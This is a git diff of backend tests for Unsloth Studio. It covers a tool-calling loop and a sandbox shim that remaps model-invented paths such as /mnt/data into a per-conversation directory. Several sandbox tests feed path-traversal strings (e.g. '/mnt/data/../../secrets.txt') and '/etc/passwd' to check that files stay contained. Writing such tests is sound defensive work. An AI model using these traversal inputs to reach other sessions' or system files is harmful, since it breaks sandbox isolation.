+            convs.append([dict(m) for m in messages])
+            try:
+                chunks = next(turn_iter)
+            except StopIteration:
+                return
+            acc = ""
+            for c in chunks:
+                acc += c
+                yield acc
+
+        exec_fn = FakeExecuteTool(["r1", "r2"])
+        loop = run_safetensors_tool_loop(
+            single_turn = gen,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [
+                {"type": "function", "function": {"name": "web_search"}},
+                {"type": "function", "function": {"name": "python"}},
+            ],
+            execute_tool = exec_fn,
+        )
+        _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search", "python"]
+        assistant = next(m for m in convs[1] if m["role"] == "assistant")
+        assert '"python"' not in (assistant.get("content") or "")
diff --git a/studio/backend/tests/test_safetensors_toolcall_wiring.py b/studio/backend/tests/test_safetensors_toolcall_wiring.py
new file mode 100644
index 0000000000..8909e0c0c5
--- /dev/null
+++ b/studio/backend/tests/test_safetensors_toolcall_wiring.py
@@ -0,0 +1,180 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Deterministic backend-wiring test for the safetensors / MLX tool-calling path.
+
+The parser and the cumulative-text state machine are already covered exhaustively by
+``test_safetensors_tool_loop.py`` with fake generators. What that suite does not touch is the
+*backend's own tool-injection seam*: both ``InferenceBackend`` (transformers) and
+``MLXInferenceBackend`` render the prompt through the shared
+``apply_chat_template_for_generation(..., tools=...)`` helper and stream cumulative text into the
+shared ``run_safetensors_tool_loop`` (see ``core/inference/inference.py`` and
+``core/inference/mlx_inference.py`` -- both call the same helper and the same loop, so a single CPU
+test of that seam covers the macOS MLX path too).
+
+This test drives that exact seam with deterministic fakes -- a fake tokenizer that records the
+``tools`` it is handed, a canned tool-call generation, and a stub executor -- and asserts the full
+agentic chain end to end:
+
+    tools injected into the template -> loop parses the call -> tool dispatched once ->
+    tool result fed back -> generation re-entered -> final answer streamed.
+
+It is the deterministic, download-free stand-in for the real-model MLX / GGUF browser tool-calling
+end-to-end: it imports no torch / unsloth / mlx, so it runs in the portable Backend CI alongside the
+tool-call parser tests. Follow-up to the parser test PRs (#5620 / #5704).
+"""
+
+from core.inference.chat_template_helpers import apply_chat_template_for_generation
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+TOOL_NAME = "get_weather"
+TOOL_ARGS = {"city": "Paris"}
+FAKE_TOOL = {
+    "type": "function",
+    "function": {
+        "name": TOOL_NAME,
+        "description": "Get the current weather for a city.",
+        "parameters": {
+            "type": "object",
+            "properties": {"city": {"type": "string"}},
+            "required": ["city"],
+        },
+    },
+}
+# Full parser matrix lives in test_safetensors_tool_loop.py.
+TOOL_CALL_TEXT = '<tool_call>{"name": "get_weather", "arguments": {"city": "Paris"}}</tool_call>'
+FINAL_ANSWER = "The weather in Paris is sunny and 22C."
+TOOL_RESULT = "Paris: sunny, 22C"
+
+
+class RecordingTokenizer:
+    """Fake tokenizer that records the ``tools`` handed to ``apply_chat_template``.
+
+    Modelled on ``TestChatTemplateHelper._Tok`` in ``test_safetensors_tool_loop.py``: it accepts the
+    real helper's kwargs and returns a canned prompt, so the test can assert the backend seam actually
+    forwarded the tool schema -- a silent drop on a chat-template fallback would leave ``tools_seen``
+    holding ``None``.
+    """
+
+    def __init__(self):
+        self.tools_seen: list = []
+        self.call_count = 0
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kwargs,
+    ):
+        self.call_count += 1
+        self.tools_seen.append(kwargs.get("tools"))
+        return "PROMPT"
+
+
+class StubExecutor:
+    """Stand-in for ``core.inference.tools.execute_tool``: records calls, returns a fixed result.
+
+    A fake tool name plus this stub means no real python / terminal / web / RAG side effect can run.
+    """
+
+    def __init__(self, result: str):
+        self.result = result
+        self.calls: list[tuple[str, dict]] = []
+
+    def __call__(
+        self,
+        name,
+        arguments,
+        *,
+        cancel_event = None,
+        timeout = None,
+        session_id = None,
+        thread_id = None,
+        rag_scope = None,
+        disable_sandbox = False,
+    ):
+        self.calls.append((name, arguments))
+        return self.result
+
+
+def _collect(generator, max_events = 200):
+    events = []
+    for ev in generator:
+        events.append(ev)
+        if len(events) >= max_events:
+            break
+    return events
+
+
+def _tool_names(tools):
+    return [(t.get("function") or {}).get("name") for t in (tools or [])]
+
+
+def test_backend_seam_injects_tools_and_drives_full_tool_loop():
+    """The shared backend seam forwards tools into the chat template, and the loop parses the call,
+    dispatches it once, feeds the result back, and re-enters generation for the final answer."""
+    tok = RecordingTokenizer()
+    executor = StubExecutor(TOOL_RESULT)
+    turns = iter([TOOL_CALL_TEXT, FINAL_ANSWER])
+    active_tools_seen: list = []
+    conversations_seen: list = []
+
+    def single_turn(conversation, *, active_tools = None):
+        # Mirror the real _single_turn: render via the shared helper, then yield cumulative snapshots.
+        active_tools_seen.append(active_tools)
+        conversations_seen.append([dict(m) for m in conversation])
+        apply_chat_template_for_generation(tok, conversation, tools = active_tools)
+        text = next(turns)
+        mid = len(text) // 2
+        acc = ""
+        for chunk in (text[:mid], text[mid:]):
+            acc += chunk
+            yield acc
+
+    events = _collect(
+        run_safetensors_tool_loop(
+            single_turn = single_turn,
+            messages = [{"role": "user", "content": "What is the weather in Paris?"}],
+            tools = [FAKE_TOOL],
+            execute_tool = executor,
+            max_tool_iterations = 3,
+        )
+    )
+
+    # 1. Helper forwarded the tool schema to the tokenizer (seam does not drop tools).
+    assert tok.tools_seen, "tokenizer.apply_chat_template was never called"
+    assert tok.tools_seen[0], "tool schema was dropped before reaching the tokenizer"
+    assert TOOL_NAME in _tool_names(tok.tools_seen[0])
+
+    # 2. Loop offered the tool to the first generation turn.
+    assert active_tools_seen and active_tools_seen[0] is not None
+    assert TOOL_NAME in _tool_names(active_tools_seen[0])
+
+    # 3 / 4 / 5. Exactly one tool_start, one dispatch with parsed args, one tool_end with the result.
+    tool_starts = [e for e in events if e["type"] == "tool_start"]
+    tool_ends = [e for e in events if e["type"] == "tool_end"]
+    assert len(tool_starts) == 1 and tool_starts[0]["tool_name"] == TOOL_NAME
+    assert executor.calls == [(TOOL_NAME, TOOL_ARGS)], executor.calls
+    assert len(tool_ends) == 1 and tool_ends[0]["result"] == TOOL_RESULT
+
+    # 6. Final answer streams after the tool result: loop appended it and re-entered generation.
+    contents = [e for e in events if e["type"] == "content"]
+    assert contents and FINAL_ANSWER in contents[-1]["text"]
+    last_tool_end_idx = max(i for i, e in enumerate(events) if e["type"] == "tool_end")
+    last_content_idx = max(i for i, e in enumerate(events) if e["type"] == "content")
+    assert last_content_idx > last_tool_end_idx, "final answer must stream after the tool result"
+
+    # 6b. Tool result fed back into the conversation before the final turn (6 alone misses this:
+    #     the fake generation ignores the conversation).
+    assert len(conversations_seen) >= 2, "loop did not re-enter generation after the tool call"
+    final_turn_convo = conversations_seen[1]
+    assert any(
+        TOOL_RESULT in str(m.get("content", "")) for m in final_turn_convo
+    ), "tool result was not fed back into the conversation before the final generation turn"
+
+    # 7. Guard: raw tool-call markup never leaked to the client as content.
+    for e in contents:
+        assert "<tool_call>" not in e["text"]
+        assert TOOL_NAME not in e["text"]
diff --git a/studio/backend/tests/test_sandbox_sitecustomize.py b/studio/backend/tests/test_sandbox_sitecustomize.py
new file mode 100644
index 0000000000..3ac427f9f1
--- /dev/null
+++ b/studio/backend/tests/test_sandbox_sitecustomize.py
@@ -0,0 +1,522 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Hermetic tests for the sandbox sitecustomize path-remap shim.
+
+The shim (``core/inference/sandbox_site/sitecustomize.py``) runs at interpreter
+startup inside every sandboxed tool subprocess and remaps ChatGPT
+code-interpreter habit paths (``/mnt/data`` etc.) onto the per-conversation
+working directory. Importing it calls ``_install()``, which monkeypatches
+``builtins.open`` / ``io.open`` / ``os.makedirs`` / ``os.mkdir`` /
+``pathlib.Path.mkdir`` process-wide, so these tests
+load it into a throwaway module and restore those globals immediately, then
+exercise the pure ``_remap()`` function directly -- no subprocess, and no real
+``/mnt`` or ``/tmp`` writes. The mkdir test keeps the patch installed under a
+``chdir`` into ``tmp_path`` so the only real writes land in that temp dir.
+"""
+
+from __future__ import annotations
+
+import builtins
+import importlib.util
+import io
+import os
+import pathlib
+from pathlib import Path
+
+import pytest
+
+_SHIM = (
+    Path(__file__).resolve().parent.parent
+    / "core"
+    / "inference"
+    / "sandbox_site"
+    / "sitecustomize.py"
+)
+
+
+def _save_patch_targets():
+    """Snapshot every global the shim patches, so tests can restore them.
+
+    On Python < 3.11 the shim also repoints ``pathlib._NormalAccessor.open``
+    (pathlib captured the original io.open at import there); the accessor is
+    absent on 3.11+, so the snapshot skips it.
+    """
+    accessor = getattr(pathlib, "_NormalAccessor", None)
+    return (
+        (builtins.open, io.open, os.open, os.makedirs, os.mkdir, pathlib.Path.mkdir),
+        accessor,
+        accessor.open if accessor is not None else None,
+    )
+
+
+def _restore_patch_targets(saved):
+    """Undo _save_patch_targets so the test process stays clean."""
+    globals_tuple, accessor, accessor_open = saved
+    (builtins.open, io.open, os.open, os.makedirs, os.mkdir, pathlib.Path.mkdir) = globals_tuple
+    if accessor is not None:
+        accessor.open = accessor_open
+
+
+def _load_shim():
+    """Import the shim without leaving its open()/mkdir patches installed."""
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_under_test", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    try:
+        spec.loader.exec_module(mod)  # runs _install(), patching the globals
+    finally:
+        # Undo the process-wide patch so the test process stays clean.
+        _restore_patch_targets(saved)
+    mod._notified = True  # silence the one-shot stderr notice in tests
+    return mod
+
+
+def test_always_remap_prefixes_map_into_cwd(monkeypatch, tmp_path):
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    assert mod._remap("/mnt/data/out.txt") == os.path.join(cwd, "out.txt")
+    assert mod._remap("/mnt/data") == cwd
+    # Unrelated absolute and relative paths pass straight through.
+    assert mod._remap("/etc/passwd") == "/etc/passwd"
+    assert mod._remap("relative.txt") == "relative.txt"
+
+
+def test_prefix_remap_contains_parent_traversal_inside_cwd(monkeypatch, tmp_path):
+    # A hallucinated habit path can carry '..' in its suffix. The remapped target
+    # must stay under the per-conversation CWD, never climbing into a sibling
+    # session's directory: '..' components are dropped, the rest of the subpath kept.
+    mod = _load_shim()
+    workdir = tmp_path / "session_current" / "work"
+    workdir.mkdir(parents = True)
+    monkeypatch.chdir(workdir)
+    cwd = os.getcwd()
+
+    for escaping in (
+        "/mnt/data/../other_session/file",
+        "/mnt/data/../../secrets.txt",
+        "/mnt/data/a/../../b/c.txt",
+        "/mnt/data/./sub/./x.txt",
+    ):
+        mapped = mod._remap(escaping)
+        # Never escapes the CWD subtree.
+        assert mapped == cwd or mapped.startswith(cwd + os.sep), (escaping, mapped)
+        assert os.path.realpath(mapped).startswith(os.path.realpath(cwd))
+    # '../other_session/file' collapses to CWD/other_session/file.
+    assert mod._remap("/mnt/data/../other_session/file") == os.path.join(
+        cwd, "other_session", "file"
+    )
+    # A bare '/mnt/data/..' with nothing left maps onto the CWD itself.
+    assert mod._remap("/mnt/data/..") == cwd
+
+
+def test_write_fallback_refuses_dotdot_basename(monkeypatch, tmp_path):
+    # basename('/no/such/tree/..') == '..'; joining that onto the CWD would target
+    # its parent (outside the sandbox). The fallback must refuse such non-filename
+    # basenames and return the path unchanged so the real open raises.
+    mod = _load_shim()
+    workdir = tmp_path / "work"
+    workdir.mkdir()
+    monkeypatch.chdir(workdir)
+    for escaping in ("/no/such/tree/..", "/no/such/tree/.", "/no/such/tree/"):
+        assert mod._remap_open(escaping, "w") == escaping
+
+
+def test_write_fallback_remaps_hallucinated_absolute_path(monkeypatch, tmp_path):
+    # Models invent absolute paths from their CWD (e.g. /home/ubuntu/Sandbox/x.html),
+    # which prefix lists cannot enumerate. A write/create-mode open on an absolute
+    # path outside the CWD whose parent is missing is redirected to the basename in the CWD.
+    mod = _load_shim()
+    workdir = tmp_path / "workdir"
+    workdir.mkdir()
+    monkeypatch.chdir(workdir)
+    cwd = os.getcwd()
+    hallucinated = "/home/ubuntu/Sandbox/flappy_bird.html"
+    for mode in ("w", "a", "x", "w+"):
+        assert mod._remap_open(hallucinated, mode) == os.path.join(cwd, "flappy_bird.html")
+    # A nested missing tree collapses to just the basename in the CWD.
+    assert mod._remap_open("/no/such/tree/report.txt", "w") == os.path.join(cwd, "report.txt")
+
+
+def test_write_fallback_never_touches_read_modes(monkeypatch, tmp_path):
+    # Reading a real (or genuinely missing) file must succeed/fail truthfully --
+    # the fallback is write-only.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    for mode in ("r", "rb", "r+"):
+        assert mod._remap_open("/etc/definitely_missing_xyz.conf", mode) == (
+            "/etc/definitely_missing_xyz.conf"
+        )
+
+
+def test_write_fallback_passes_through_existing_external_dir(monkeypatch, tmp_path):
+    # A write to an absolute path whose parent dir exists is a deliberate, working
+    # target and must NOT be redirected.
+    mod = _load_shim()
+    external = tmp_path / "external"
+    external.mkdir()
+    workdir = tmp_path / "workdir"
+    workdir.mkdir()
+    monkeypatch.chdir(workdir)
+    target = str(external / "out.txt")
+    assert mod._remap_open(target, "w") is target
+
+
+def test_write_fallback_never_clobbers_same_basename(monkeypatch, tmp_path):
+    # A same-named CWD file is an unrelated persistent conversation file.
+    # Redirecting an invented absolute path (missing parent) onto it would clobber
+    # data the model never asked to touch, so the fallback refuses on collision for
+    # every create mode: it returns the original path and the real open() raises.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+
+    existing = tmp_path / "report.txt"
+    existing.write_text("KEEP-ME")
+
+    requested = "/definitely_missing_parent_7083/report.txt"
+    for mode in ("w", "a", "x", "w+", "a+"):
+        # Refused: returns the original absolute path unchanged (no redirect).
+        assert mod._remap_open(requested, mode) == requested
+
+    # And opening the refused path really does raise, leaving the file intact.
+    with pytest.raises(FileNotFoundError):
+        open(mod._remap_open(requested, "w"), "w")
+    assert existing.read_text() == "KEEP-ME"
+
+    # No collision -> still healed into the working directory as before.
+    fresh = "/definitely_missing_parent_7083/brand_new.txt"
+    assert mod._remap_open(fresh, "w") == os.path.join(os.getcwd(), "brand_new.txt")
+
+
+def test_write_fallback_reserves_same_target_on_repeated_writes(monkeypatch, tmp_path):
+    # Iterative overwrite of the SAME invented path must keep landing on the CWD
+    # target the fallback first healed it to. Once ./app.html exists, a naive
+    # anti-clobber guard would return the original (parent-missing) path and every
+    # regenerate would raise; the fallback must recognise its own prior remap and re-serve it.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    invented = "/home/ubuntu/Sandbox/app.html"
+    target = os.path.join(cwd, "app.html")
+
+    # First write: healed into the CWD, and create the file so the collision guard
+    # would trigger on the next call without the fix.
+    assert mod._remap_open(invented, "w") == target
+    with open(mod._remap_open(invented, "w"), "w") as fh:
+        fh.write("v1")
+
+    # Repeated overwrites of the same invented path stay on the same target.
+    for _ in range(3):
+        assert mod._remap_open(invented, "w") == target
+    with open(mod._remap_open(invented, "w"), "w") as fh:
+        fh.write("v2")
+    assert Path(target).read_text() == "v2"
+
+    # A DIFFERENT invented source colliding on basename is still refused, so it can
+    # never clobber the artifact the first path owns.
+    other = "/opt/other/app.html"
+    assert mod._remap_open(other, "w") == other
+
+
+def test_write_fallback_reserves_healed_target_across_separate_runs(monkeypatch, tmp_path):
+    # Each tool call is a FRESH subprocess, so the in-process remap map is empty on
+    # the next run while the healed file persists in the working directory. A second
+    # run overwriting the SAME invented path (whose healed basename now exists) must
+    # still re-serve that target via the on-disk sidecar, else the model could never
+    # overwrite last turn's artifact. Each _load_shim() simulates a brand-new interpreter.
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    invented = "/home/ubuntu/Sandbox/app.html"
+    target = os.path.join(cwd, "app.html")
+
+    # Run 1: heal the invented path, create the file, persist source->target to the sidecar.
+    run1 = _load_shim()
+    assert run1._remap_open(invented, "w") == target
+    with open(run1._remap_open(invented, "w"), "w") as fh:
+        fh.write("v1")
+
+    # Run 2: brand-new interpreter, nothing in memory -- still recognises its prior
+    # heal from the sidecar and re-serves it, even though ./app.html now exists
+    # (which without the sidecar would trip the anti-clobber guard and raise).
+    run2 = _load_shim()
+    assert run2._remapped_writes == {}
+    assert run2._remap_open(invented, "w") == target
+    with open(run2._remap_open(invented, "w"), "w") as fh:
+        fh.write("v2")
+    assert Path(target).read_text() == "v2"
+
+    # A DIFFERENT invented source colliding only on basename is still refused across
+    # runs: the sidecar records solely the source it healed, so an unrelated path
+    # can never adopt/clobber the artifact.
+    other = "/opt/other/app.html"
+    assert run2._remap_open(other, "w") == other
+
+    # A foreign CWD file (created directly, never healed) stays protected in a later
+    # run from an invented path sharing its basename.
+    (tmp_path / "notes.txt").write_text("KEEP-ME")
+    run3 = _load_shim()
+    assert run3._remap_open("/some/missing/notes.txt", "w") == "/some/missing/notes.txt"
+    with pytest.raises(FileNotFoundError):
+        open(run3._remap_open("/some/missing/notes.txt", "w"), "w")
+    assert (tmp_path / "notes.txt").read_text() == "KEEP-ME"
+
+
+@pytest.mark.parametrize("mode", ["r+", "rb+"])
+def test_read_update_modes_never_redirected_even_with_missing_parent(monkeypatch, tmp_path, mode):
+    # r+ / rb+ REQUIRE the target to exist and never create; a "+" must not qualify
+    # as creation, or a missing absolute path would be redirected onto a same-basename
+    # workspace file and corrupt it. The parent is missing, so only the mode predicate
+    # protects the victim.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+
+    victim = tmp_path / "victim.txt"
+    victim.write_text("original")
+
+    requested = "/definitely_missing_parent_xyz/victim.txt"
+    assert mod._remap_open(requested, mode) == requested
+    with pytest.raises(FileNotFoundError):
+        open(mod._remap_open(requested, mode), mode)
+    assert victim.read_text() == "original"
+
+
+def test_existing_convention_prefix_is_not_shadowed(monkeypatch, tmp_path):
+    # A convention prefix (/mnt/data etc.) is remapped ONLY while absent. If a real
+    # host directory exists there it must pass through so its own filesystem semantics
+    # apply: a real read succeeds, and a missing file under it is created there by a
+    # write, never shadowed by a CWD file.
+    mod = _load_shim()
+    external = tmp_path / "real_prefix"
+    external.mkdir()
+    (external / "data.txt").write_text("real external content")
+
+    workdir = tmp_path / "conversation"
+    workdir.mkdir()
+    monkeypatch.chdir(workdir)
+    monkeypatch.setattr(mod, "_PREFIXES", (str(external),))
+    monkeypatch.setattr(mod, "_CONDITIONAL_PREFIXES", ())
+
+    target = str(external / "data.txt")
+    # Prefix exists -> pass through for read and write.
+    assert mod._remap(target) == target
+    assert mod._remap_open(target, "r") == target
+    assert mod._remap_open(target, "w") == target
+    # A missing file under the EXISTING real prefix is left alone (parent exists),
+    # so the real directory creates it -- not a CWD shadow.
+    missing = str(external / "new.txt")
+    assert mod._remap_open(missing, "w") == missing
+
+    # Remove the prefix directory -> healing resumes (absent prefix).
+    (external / "data.txt").unlink()
+    external.rmdir()
+    assert mod._remap(target) == os.path.join(os.getcwd(), "data.txt")
+
+
+def test_os_open_and_path_touch_remap_convention_path(monkeypatch, tmp_path):
+    # Path.touch() and other low-level creators go through os.open, not builtins/io.open.
+    # Keep the shim's patches installed under a chdir into tmp_path so os.open is
+    # patched, and confirm a convention path is healed into the CWD instead of raising.
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_osopen", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    try:
+        spec.loader.exec_module(mod)  # installs the os.open patch
+        mod._notified = True
+        pathlib.Path("/mnt/data/touched.txt").touch()
+        assert os.path.isfile(os.path.join(cwd, "touched.txt"))
+        # Direct os.open with create flags is healed too.
+        fd = os.open("/mnt/data/via_os_open.txt", os.O_CREAT | os.O_WRONLY, 0o600)
+        os.close(fd)
+        assert os.path.isfile(os.path.join(cwd, "via_os_open.txt"))
+    finally:
+        _restore_patch_targets(saved)
+
+
+def test_path_write_read_text_remap_convention_path(monkeypatch, tmp_path):
+    # Path.open / write_text / read_text route through io.open (3.11+) or the captured
+    # accessor open (< 3.11). Keep the patches installed under a chdir into tmp_path
+    # and confirm a convention path is healed into the CWD on every version. This is
+    # the hermetic guard for the 3.10 accessor path a plain io.open patch misses.
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_writetext", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    try:
+        spec.loader.exec_module(mod)  # installs the io.open / accessor patch
+        mod._notified = True
+        pathlib.Path("/mnt/data/note.txt").write_text("pathlib remap")
+        assert os.path.isfile(os.path.join(cwd, "note.txt"))
+        # read_text goes through the same mapped path and sees what was written.
+        assert pathlib.Path("/mnt/data/note.txt").read_text() == "pathlib remap"
+        # A real absolute path passes through both patches untouched.
+        real = tmp_path / "real.txt"
+        pathlib.Path(str(real)).write_text("verbatim")
+        assert real.read_text() == "verbatim"
+    finally:
+        _restore_patch_targets(saved)
+
+
+def test_write_fallback_leaves_relative_and_bytes_paths(monkeypatch, tmp_path):
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    # Relative paths are already inside the CWD.
+    assert mod._remap_open("out.txt", "w") == "out.txt"
+    # Bytes paths are left untouched (prefix remap skips non-str).
+    assert mod._remap_open(b"/no/such/tree/x.bin", "w") == b"/no/such/tree/x.bin"
+
+
+def test_remap_open_still_applies_prefix_remaps(monkeypatch, tmp_path):
+    # The prefix remap runs first and preserves subpaths. A write heals onto the CWD
+    # unconditionally; the write-mode fallback is only the last resort.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    assert mod._remap_open("/mnt/data/sub/out.txt", "w") == os.path.join(cwd, "sub", "out.txt")
+    # A read whose mapped target does NOT exist keeps the original path: a missing
+    # input stays truthful, not silently redirected into the CWD.
+    assert mod._remap_open("/mnt/data/sub/out.txt", "r") == "/mnt/data/sub/out.txt"
+
+
+def test_prefix_read_heals_only_when_mapped_target_exists(monkeypatch, tmp_path):
+    # A convention-prefix READ must not redirect onto the CWD when the mapped target
+    # is absent -- that masks a genuine missing-input error and could serve an
+    # unrelated same-basename workdir file. It heals only when the mapped CWD target
+    # exists, so re-reading an artifact an earlier write produced still works.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+
+    # Mapped target absent: read keeps the original path (truthful miss).
+    assert mod._remap_open("/mnt/data/input.csv", "r") == "/mnt/data/input.csv"
+    with pytest.raises(FileNotFoundError):
+        open(mod._remap_open("/mnt/data/input.csv", "r"))
+
+    # r+ (never creates) behaves the same: no redirect while absent.
+    assert mod._remap_open("/mnt/data/input.csv", "r+") == "/mnt/data/input.csv"
+
+    # A write heals onto the CWD and creates the artifact...
+    mapped = mod._remap_open("/mnt/data/input.csv", "w")
+    assert mapped == os.path.join(cwd, "input.csv")
+    with open(mapped, "w") as fh:
+        fh.write("col\n1\n")
+
+    # ...and now a READ of the same convention path heals onto that existing artifact.
+    read_target = mod._remap_open("/mnt/data/input.csv", "r")
+    assert read_target == os.path.join(cwd, "input.csv")
+    with open(read_target) as fh:
+        assert fh.read() == "col\n1\n"
+
+
+def test_prefix_boundary_not_matched_by_similar_paths(monkeypatch, tmp_path):
+    # The prefix match is anchored on a segment boundary (prefix or prefix + '/'), so
+    # a sibling merely sharing the textual prefix must NOT be remapped: /workspace2
+    # is not /workspace, /mnt/database is not /mnt/data.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    for unrelated in ("/workspace2/file.txt", "/mnt/database/x", "/home/sandboxed/y"):
+        assert mod._remap(unrelated) == unrelated
+        # And through open() for a read too (no silent redirect).
+        assert mod._remap_open(unrelated, "r") == unrelated
+
+
+def test_tmp_outputs_is_a_conditional_prefix():
+    mod = _load_shim()
+    assert "/tmp/outputs" in mod._CONDITIONAL_PREFIXES
+    # NOT in the always-remap set: /tmp exists on the host, so an unconditional remap
+    # could shadow a real /tmp/outputs the user code made.
+    assert "/tmp/outputs" not in mod._PREFIXES
+
+
+def test_tmp_outputs_remapped_only_while_absent(monkeypatch, tmp_path):
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    # Point the conditional prefix at a real temp location so we can toggle its
+    # existence on disk instead of mocking os.path.exists.
+    cond = str(tmp_path / "cond_outputs")
+    monkeypatch.setattr(mod, "_CONDITIONAL_PREFIXES", (cond,))
+
+    # Absent: heal the habit path into the working directory (preserved/served).
+    assert not os.path.exists(cond)
+    assert mod._remap(cond + "/plot.png") == os.path.join(cwd, "plot.png")
+    assert mod._remap(cond) == cwd
+
+    # Present (the user's own code created it): pass through, never shadowed.
+    os.makedirs(cond)
+    assert mod._remap(cond + "/plot.png") == cond + "/plot.png"
+    assert mod._remap(cond) == cond
+
+
+def test_pathlib_mkdir_parents_remaps_convention_path(monkeypatch, tmp_path):
+    # `Path('/mnt/data').mkdir(parents=True, exist_ok=True)` is a stock setup line.
+    # pathlib drives it through os.mkdir per component and Path.is_dir()/os.stat on
+    # FileExistsError, so the shim must patch os.mkdir AND Path.mkdir for the whole
+    # parents/exist_ok dance to land in the CWD instead of raising. Keeps the mkdir
+    # patches installed under a chdir into tmp_path and restores them in finally.
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_mkdir", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    monkeypatch.chdir(tmp_path)
+    cwd = os.getcwd()
+    try:
+        spec.loader.exec_module(mod)  # installs the os.mkdir / Path.mkdir patches
+        mod._notified = True
+        # Bare convention path maps onto the CWD, which already exists: exist_ok=True
+        # must be honoured against the mapped location, not raise.
+        pathlib.Path("/mnt/data").mkdir(parents = True, exist_ok = True)
+        # A nested convention path is created inside the CWD, parents and all.
+        pathlib.Path("/mnt/data/plots/run1").mkdir(parents = True, exist_ok = True)
+        assert os.path.isdir(os.path.join(cwd, "plots", "run1"))
+        # Idempotent: exist_ok is evaluated on the mapped path (which now exists),
+        # not the never-present /mnt/data.
+        pathlib.Path("/mnt/data/plots/run1").mkdir(parents = True, exist_ok = True)
+
+        # Passthrough: real paths are created verbatim through both patches,
+        # never remapped into the CWD.
+        real_dir = tmp_path / "real_via_path"
+        pathlib.Path(str(real_dir)).mkdir()
+        assert real_dir.is_dir()
+        real_os = tmp_path / "real_via_os"
+        os.mkdir(str(real_os))
+        assert real_os.is_dir()
+    finally:
+        _restore_patch_targets(saved)
+
+
+def test_read_of_missing_prefix_path_emits_no_notice(monkeypatch, tmp_path, capsys):
+    # A read of a missing convention path keeps the original path and must not spend
+    # the one-shot notice; a genuine remap afterward still notifies.
+    mod = _load_shim()
+    monkeypatch.chdir(tmp_path)
+    mod._notified = False  # re-arm the one-shot notice for this test
+    # Read of a missing prefixed path: original kept, no notice, flag unspent.
+    assert mod._remap_open("/mnt/data/missing.csv", "r") == "/mnt/data/missing.csv"
+    assert mod._notified is False
+    assert "does not exist" not in capsys.readouterr().err
+    # A committed write then heals and fires the notice exactly once.
+    assert mod._remap_open("/mnt/data/out.txt", "w") == os.path.join(os.getcwd(), "out.txt")
+    assert mod._notified is True
+    assert "/mnt/data does not exist in this sandbox" in capsys.readouterr().err
+
+
+def test_os_open_trunc_without_creat_missing_stays_truthful(monkeypatch, tmp_path):
+    # O_TRUNC / O_APPEND without O_CREAT cannot create a missing file, so the shim
+    # treats them as a read: a missing convention path stays truthful (the error
+    # names the caller's path) and nothing is created in the CWD.
+    saved = _save_patch_targets()
+    spec = importlib.util.spec_from_file_location("_sandbox_sitecustomize_trunc", _SHIM)
+    mod = importlib.util.module_from_spec(spec)
+    monkeypatch.chdir(tmp_path)
+    try:
+        spec.loader.exec_module(mod)
+        mod._notified = True
+        with pytest.raises(FileNotFoundError) as exc:
+            os.open("/mnt/data/missing_xyz.bin", os.O_WRONLY | os.O_TRUNC)
+        assert exc.value.filename == "/mnt/data/missing_xyz.bin"
+        assert not os.path.exists(os.path.join(os.getcwd(), "missing_xyz.bin"))
+    finally:
+        _restore_patch_targets(saved)
diff --git a/studio/backend/tests/test_sandbox_tools.py b/studio/backend/tests/test_sandbox_tools.py
index 24b1da1772..2970b1a6bb 100644
--- a/studio/backend/tests/test_sandbox_tools.py
+++ b/studio/backend/tests/test_sandbox_tools.py
@@ -294,11 +294,16 @@ class TestSandboxEnvIsolation:
             "LANG",
             "TERM",
             "PYTHONIOENCODING",
+            "PYTHONPATH",
             "VIRTUAL_ENV",
             "SystemRoot",
         }
         extras = set(env.keys()) - allowed
         assert not extras, f"sandbox env added unexpected keys: {extras}"
+        # PYTHONPATH is whitelist-built, never inherited: only the sandbox
+        # sitecustomize shim dir (code-interpreter path remap).
+        assert env["PYTHONPATH"].endswith("sandbox_site")
+        assert "leak-me" not in env["PYTHONPATH"]
 
     def test_home_points_at_sandbox_workdir(self, tmp_path):
         from core.inference.tools import _build_safe_env
@@ -315,6 +320,23 @@ class TestSandboxEnvIsolation:
         env = _build_safe_env(str(tmp_path))
         assert env["TERM"] == "dumb"
 
+    def test_bypass_env_installs_sitecustomize_path_shim(self, tmp_path):
+        # Bypass mode must install the same /mnt/data path-remap shim as the safe
+        # env (finding 17), else /mnt/data writes work only in normal mode.
+        from core.inference.tools import _SANDBOX_SITE_DIR, _build_bypass_env
+        env = _build_bypass_env(str(tmp_path))
+        assert _SANDBOX_SITE_DIR in env["PYTHONPATH"].split(os.pathsep)
+
